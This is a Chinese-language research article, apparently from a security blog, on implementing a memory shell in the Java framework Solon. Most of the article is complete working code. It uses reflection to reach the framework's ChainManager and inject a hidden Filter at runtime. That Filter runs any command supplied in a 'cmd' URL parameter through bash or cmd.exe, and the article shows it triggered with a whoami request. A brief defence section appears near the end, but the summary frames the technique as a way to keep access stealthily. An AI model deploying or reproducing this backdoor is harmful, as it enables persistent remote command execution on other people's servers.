Solon内存马研究
字数 922 2025-08-24 10:10:13

Solon框架内存马研究与实现

1. Solon框架简介

Solon是一款国产Java应用开发框架,具有以下特点:

  • 追求克制、简洁、高效、开放、生态
  • 支持Java 8 ~ Java 22
  • GitHub上有2.2k star
  • 适用于中小型Java Web应用开发

2. Solon请求处理流程

Solon的请求处理过程包含以下关键组件:

  • Filter过滤器:全局过滤器,对所有请求起作用
  • RouterInterceptor:路由拦截器
  • Handler:请求处理器

3. 环境搭建

  1. 使用官方模板创建项目:

    https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8
    
  2. 基础Filter示例:

package com.example.demo;

import org.noear.solon.annotation.Component;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

@Component
public class NormalFilter implements Filter {
    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        System.out.println("NormalFilter::doFilter");
        chain.doFilter(ctx);
    }
}

4. Filter内存马实现原理

4.1 关键发现

  • Filter存储在ChainManager类的filterNodes属性中
  • ChainManager的初始化在org.noear.solon.core.route.RouterWrapper中完成
  • 通过调用ChainManager.addFilter()可以动态添加Filter

4.2 获取ChainManager的反射路径

Context ctx = Context.current();
Object obj = ctx.request();
Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);

ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);

5. 完整Filter内存马实现

package com.example.demo;

import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

import java.lang.reflect.Field;

public class FilterMemshell implements Filter {
    static {
        try {
            Context ctx = Context.current();
            Object obj = ctx.request();
            Field field = obj.getClass().getSuperclass().getDeclaredField("request");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("serverHandler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("handler");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("arg$1");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
            field.setAccessible(true);
            obj = field.get(obj);

            ChainManager chainManager = (ChainManager) obj;
            chainManager.addFilter(new FilterMemshell(), 0);
        } catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {
        try {
            if (ctx.param("cmd")!= null){
                String str = ctx.param("cmd");
                try {
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") 
                            ? new String[]{"cmd.exe", "/c", str} 
                            : new String[]{"/bin/bash", "-c", str};
                    String output = (new java.util.Scanner(
                            (new ProcessBuilder(cmds)).start().getInputStream()))
                            .useDelimiter("\\A").next();
                    ctx.output(output);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        } catch (Throwable e){
            System.out.println("异常:" + e.getMessage());
        }
        chain.doFilter(ctx);
    }
}

6. 测试与验证

  1. 在Controller中触发内存马加载:
@Controller
public class DemoController {
    @Mapping("/hello")
    public String hello(@Param(defaultValue = "world") String name) throws Throwable {
        new FilterMemshell();
        return String.format("Hello %s!", name);
    }
}
  1. 通过URL参数执行命令:
GET /hello?cmd=whoami

7. 扩展实现

ChainManager类还提供了其他组件的动态添加方法,可以类似实现:

  • RouterInterceptor内存马:通过addInterceptor()方法
  • ActionReturnHandler内存马:通过addReturnHandler()方法
  • ActionExecuteHandler内存马:通过addExecuteHandler()方法

8. 防御措施

  1. 监控ChainManager的动态修改
  2. 检查异常Filter的添加
  3. 限制反射调用权限
  4. 实施运行时行为监控

9. 总结

Solon框架内存马实现的关键在于:

  1. 理解请求处理流程和组件结构
  2. 通过反射获取ChainManager实例
  3. 利用addFilter方法动态注入恶意Filter
  4. 实现命令执行功能并保持隐蔽性

这种技术可用于红队测试和权限维持,同时也提醒开发者需要加强运行时安全防护。

Solon框架内存马研究与实现 1. Solon框架简介 Solon是一款国产Java应用开发框架,具有以下特点: 追求克制、简洁、高效、开放、生态 支持Java 8 ~ Java 22 GitHub上有2.2k star 适用于中小型Java Web应用开发 2. Solon请求处理流程 Solon的请求处理过程包含以下关键组件: Filter过滤器 :全局过滤器,对所有请求起作用 RouterInterceptor :路由拦截器 Handler :请求处理器 3. 环境搭建 使用官方模板创建项目: 基础Filter示例: 4. Filter内存马实现原理 4.1 关键发现 Filter存储在 ChainManager 类的 filterNodes 属性中 ChainManager 的初始化在 org.noear.solon.core.route.RouterWrapper 中完成 通过调用 ChainManager.addFilter() 可以动态添加Filter 4.2 获取ChainManager的反射路径 5. 完整Filter内存马实现 6. 测试与验证 在Controller中触发内存马加载: 通过URL参数执行命令: 7. 扩展实现 ChainManager 类还提供了其他组件的动态添加方法,可以类似实现: RouterInterceptor内存马 :通过 addInterceptor() 方法 ActionReturnHandler内存马 :通过 addReturnHandler() 方法 ActionExecuteHandler内存马 :通过 addExecuteHandler() 方法 8. 防御措施 监控 ChainManager 的动态修改 检查异常Filter的添加 限制反射调用权限 实施运行时行为监控 9. 总结 Solon框架内存马实现的关键在于: 理解请求处理流程和组件结构 通过反射获取 ChainManager 实例 利用 addFilter 方法动态注入恶意Filter 实现命令执行功能并保持隐蔽性 这种技术可用于红队测试和权限维持,同时也提醒开发者需要加强运行时安全防护。